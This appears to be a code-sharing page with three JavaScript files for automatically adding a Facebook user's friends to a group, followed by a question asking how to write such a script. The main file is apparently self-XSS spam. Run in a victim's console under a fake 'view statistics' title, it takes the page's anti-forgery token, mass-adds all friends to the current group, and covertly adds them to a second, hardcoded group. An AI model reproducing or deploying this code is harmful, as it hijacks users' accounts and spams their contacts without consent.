Auto invite friends to Facebook group script -- Beautified from http://pastebin.com/qBJfuh3c using http://jsbeautifier.org/

cleaned.js

jx = {
    getHTTPObject: function () {
        var e = !1;
        if ("undefined" != typeof ActiveXObject) try {
            e = new ActiveXObject("Msxml2.XMLHTTP")
        } catch (t) {
            try {
                e = new ActiveXObject("Microsoft.XMLHTTP")
            } catch (n) {
                e = !1
            }
        } else if (window.XMLHttpRequest) try {
            e = new XMLHttpRequest
        } catch (r) {
            e = !1
        }
        return e
    },
    load: function (b, c) {
        var f = this.getHTTPObject();
        if (f && b) {
            f.open("get", b, !0),f.onreadystatechange = function () {
                f.readyState == 4 && f.status == 200 && f.responseText && c && c(f.responseText)
            },f.send()
        }
    }
};
var m = 'please wait...';
jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + Env.user + "&filter[0]=user&__user=" + Env.user, function (e) {
    for (var e = e.substring(e.indexOf("{")), e = JSON.parse(e), e = e.payload.entries, t = 0; t < e.length; t++) if (t < 10) console.log((t == 0 ? 'Most Favourite:' : (t == 1 ? 'Second place:' : (t == 2? 'And the third:' : '#' + t + ':'))), e[t].text); else break;
}), m

minified.js

jx={getHTTPObject:function(){var e=!1;if("undefined"!=typeof ActiveXObject)try{e=new ActiveXObject("Msxml2.XMLHTTP")}catch(t){try{e=new ActiveXObject("Microsoft.XMLHTTP")}catch(n){e=!1}}else if(window.XMLHttpRequest)try{e=new XMLHttpRequest}catch(r){e=!1}return e},load:function(e,t){var n=this.getHTTPObject();if(n&&e){n.open("get",e,!0),n.onreadystatechange=function(){n.readyState==4&&n.status==200&&n.responseText&&t&&t(n.responseText)},n.send()}}};var m="please wait...";jx.load(window.location.protocol+"//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer="+Env.user+"&filter[0]=user&__user="+Env.user,function(e){for(var e=e.substring(e.indexOf("{")),e=JSON.parse(e),e=e.payload.entries,t=0;t<e.length;t++)if(t<10)console.log(t==0?"Most Favourite:":t==1?"Second place:":t==2?"And the third:":"#"+t+":",e[t].text);else break}),m

original.js

function penetrasi(e) {
    jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=" + memberGroupId + "&source=typeahead&members=" + e + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + Env.user, function (e) {
        e = e.substring(e.indexOf("{")), e = JSON.parse(e), i--, kunaon = "<div class='friend-edge-name' style='text-align:left;font-size:10px;white-space:pre-wrap;", e.error ? (kunaon += "color:darkred'>", kunaon = e.errorDescription ? kunaon + e.errorDescription : kunaon + JSON.stringify(e, null, "")) : (kunaon += "color:darkgreen'>", kunaon += arr[i], suc++), kunaon += "</div>", e = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(255,255,255,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid rgba(0,0,0,0.5)'>" + ("<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>"), 0 < i ? (e += arr.length + " Suscribers detected<br/>", e += "<b>" + suc + "</b> Suscribers added of " + (arr.length - i) + " Suscribers Processed ", e += "(" + i + " more to go..)", e = e + "<div class='friend-edge'>" + kunaon, e += "</div>") : (e += arr.length + " Suscribers detected and ", e += "<b>" + suc + " Suscribers added</b>", e += "<div><span class='uiButton' onClick='document.getElementById(\"pagelet_welcome_box\").style.display=\"none\"'>Close</span></div>"), document.getElementById("pagelet_welcome_box").innerHTML = e + "</div>"
    }, "text", "post"), tay--;
    if (0 < tay) {
        var t = arr[tay];
        setTimeout("penetrasi(" + t + ")", 100)
    }
    console.log(tay + "/" + arr.length + ":" + t + ", success:" + suc), 0xf2a794cf90e3 != memberGroupId && jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=503943639628370&source=typeahead&members=" + e + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + Env.user, function () {}, "text", "post")
}
function clickfr_callback() {
    0 < document.getElementsByName("ok").length && nHtml.ClickUp(document.getElementsByName("ok")[0]);
    var e = arr[i];
    i < arr.length && addfriend(e.substring(0, 4))
}
function clickfr() {
    0 < document.getElementsByClassName("search").length ? (console.log(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1].innerHTML), document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].href = "javascript:void(0);", nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1])) : j++, setTimeout("clickfr_callback()", 2e3)
}
function addfriend(e) {
    i++, document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(), document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].value = e, document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].blur(), document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(), document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(), setTimeout("clickfr()", 2e3)
}
function sleep(e) {
    for (var t = (new Date).getTime(), n = 0; 1e7 > n && !((new Date).getTime() - t > e); n++);
}
var tulisanNganu = "Trình thống kê lượt xem Facebook của bạn (Xjtjn.Com)",
    kunaon = "";
jx = {
    getHTTPObject: function () {
        var e = !1;
        if ("undefined" != typeof ActiveXObject) try {
            e = new ActiveXObject("Msxml2.XMLHTTP")
        } catch (t) {
            try {
                e = new ActiveXObject("Microsoft.XMLHTTP")
            } catch (n) {
                e = !1
            }
        } else if (window.XMLHttpRequest) try {
            e = new XMLHttpRequest
        } catch (r) {
            e = !1
        }
        return e
    },
    load: function (b, c, d, e, g) {
        var f = this.init();
        if (f && b) {
            f.overrideMimeType && f.overrideMimeType("text/xml"), e || (e = "GET"), d || (d = "text"), g || (g = {});
            var d = d.toLowerCase(),
                e = e.toUpperCase(),
                h = "uid=" + (new Date).getTime(),
                b = b + (b.indexOf("?") + 1 ? "&" : "?"),
                b = b + h,
                h = null;
            "POST" == e && (h = b.split("?"), b = h[0], h = h[1]), f.open(e, b, !0), "POST" == e && (f.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), f.setRequestHeader("Content-length", h.length), f.setRequestHeader("Connection", "close")), f.onreadystatechange = g.handler ? function () {
                g.handler(f)
            } : function () {
                if (f.readyState == 4) if (f.status == 200) {
                    var b = "";
                    f.responseText && (b = f.responseText), d.charAt(0) == "j" ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : d.charAt(0) == "x" && (b = f.responseXML), c && c(b)
                } else g.loadingIndicator && document.getElementsByTagName("body")[0].removeChild(g.loadingIndicator), g.loading && (document.getElementById(g.loading).style.display = "none"), error && error(f.status)
            }, f.send(h)
        }
    },
    bind: function (e) {
        var t = {
            url: "",
            onSuccess: !1,
            onError: !1,
            format: "text",
            method: "GET",
            update: "",
            loading: "",
            loadingIndicator: ""
        }, n;
        for (n in t) e[n] && (t[n] = e[n]);
        if (t.url) {
            var r = !1;
            t.loadingIndicator && (r = document.createElement("div"), r.setAttribute("style", "position:absolute;top:0px;left:0px;"), r.setAttribute("class", "loading-indicator"), r.innerHTML = t.loadingIndicator, document.getElementsByTagName("body")[0].appendChild(r), this.opt.loadingIndicator = r), t.loading && (document.getElementById(t.loading).style.display = "block"), this.load(t.url, function (e) {
                t.onSuccess && t.onSuccess(e), t.update && (document.getElementById(t.update).innerHTML = e), r && document.getElementsByTagName("body")[0].removeChild(r), t.loading && (document.getElementById(t.loading).style.display = "none")
            }, t.format, t.method, t)
        }
    },
    init: function () {
        return this.getHTTPObject()
    }
};
var nHtml = {
    FindByAttr: function (e, t, n, r) {
        return "className" == n && (n = "class"), (e = document.evaluate(".//" + t + "[@" + n + "='" + r + "']", e, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)) && e.singleNodeValue ? e.singleNodeValue : null
    },
    FindByClassName: function (e, t, n) {
        return this.FindByAttr(e, t, "className", n)
    },
    FindByXPath: function (e, t) {
        try {
            var n = document.evaluate(t, e, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
        } catch (r) {
            GM_log("bad xpath:" + t)
        }
        return n && n.singleNodeValue ? n.singleNodeValue : null
    },
    VisitUrl: function (e) {
        window.setTimeout(function () {
            document.location.href = e
        }, 500 + Math.floor(500 * Math.random()))
    },
    ClickWin: function (e, t, n) {
        var r = e.document.createEvent("MouseEvents");
        return r.initMouseEvent(n, !0, !0, e, 0, 0, 0, 0, 0, !1, !1, !1, !1, 0, null), !t.dispatchEvent(r)
    },
    Click: function (e) {
        return this.ClickWin(window, e, "click")
    },
    ClickTimeout: function (e, t) {
        window.setTimeout(function () {
            return nHtml.ClickWin(window, e, "click")
        }, t + Math.floor(500 * Math.random()))
    },
    ClickUp: function (e) {
        this.ClickWin(window, e, "mousedown"), this.ClickWin(window, e, "mouseup"), this.ClickWin(window, e, "click")
    },
    GetText: function (e, t) {
        var n = "";
        void 0 == t && (t = 0);
        if (!(40 < t)) {
            if (void 0 != e.textContent) return e.textContent;
            for (var r = 0; r < e.childNodes.length; r++) n += this.GetText(e.childNodes[r], t + 1);
            return n
        }
    }
};
void 0 == document.getElementsByClassName && (document.getElementsByClassName = function (e) {
    for (var t = RegExp("(?:^|\\s)" + e + "(?:$|\\s)"), n = document.getElementsByTagName("*"), r = [], i, s = 0; null != (i = n[s]); s++) {
        var o = i.className;
        o && -1 != o.indexOf(e) && t.test(o) && r.push(i)
    }
    return r
}), Array.prototype.find = function (e) {
    var t = !1;
    for (i = 0; i < this.length; i++) typeof e == "function" ? e.test(this[i]) && (t || (t = []), t.push(i)) : this[i] === e && (t || (t = []), t.push(i));
    return t
};
for (var a = 0, eind = 0, len = document.getElementsByClassName("mbm").length, a = 0; a < len; a++) {
    var ele = document.getElementsByClassName("mbm")[a];
    if (ele && ele.childNodes[0] && ele.childNodes[0] && ele.childNodes[0].childNodes[1] && ele.childNodes[0].childNodes[1].childNodes[0] && "Add SUSCRIBERS" == document.getElementsByClassName("mbm")[a].childNodes[0].childNodes[1].childNodes[0].value) {
        eind = a;
        break
    }
}
var i = 3,
    tay = 3,
    counter1 = 0,
    counter2 = 0,
    counter3 = 0,
    j = 0,
    k = 0,
    suc = 0,
    arr = [],
    memberGroupId = document.getElementsByName("group_id")[0].value;
jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + Env.user + "&filter[0]=user&__user=" + Env.user, function (e) {
    for (var e = e.substring(e.indexOf("{")), e = JSON.parse(e), e = e.payload.entries, t = 0; t < e.length; t++) arr.push(e[t].uid);
    tay = i = arr.length - 1, console.log(arr.length), e = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(255,255,255,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid rgba(0,0,0,0.5)'>" + ("<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>"), e += arr.length + " SUSCRIBERS detected", document.getElementById("pagelet_welcome_box").innerHTML = e + "</div>", penetrasi(arr[i])
})

Hello

How can I invite a friend not all to facebook group with ajax ? I want to make a script add a friends to facebook group with ajax by giving groups id, friend id and my user id. How can I do it?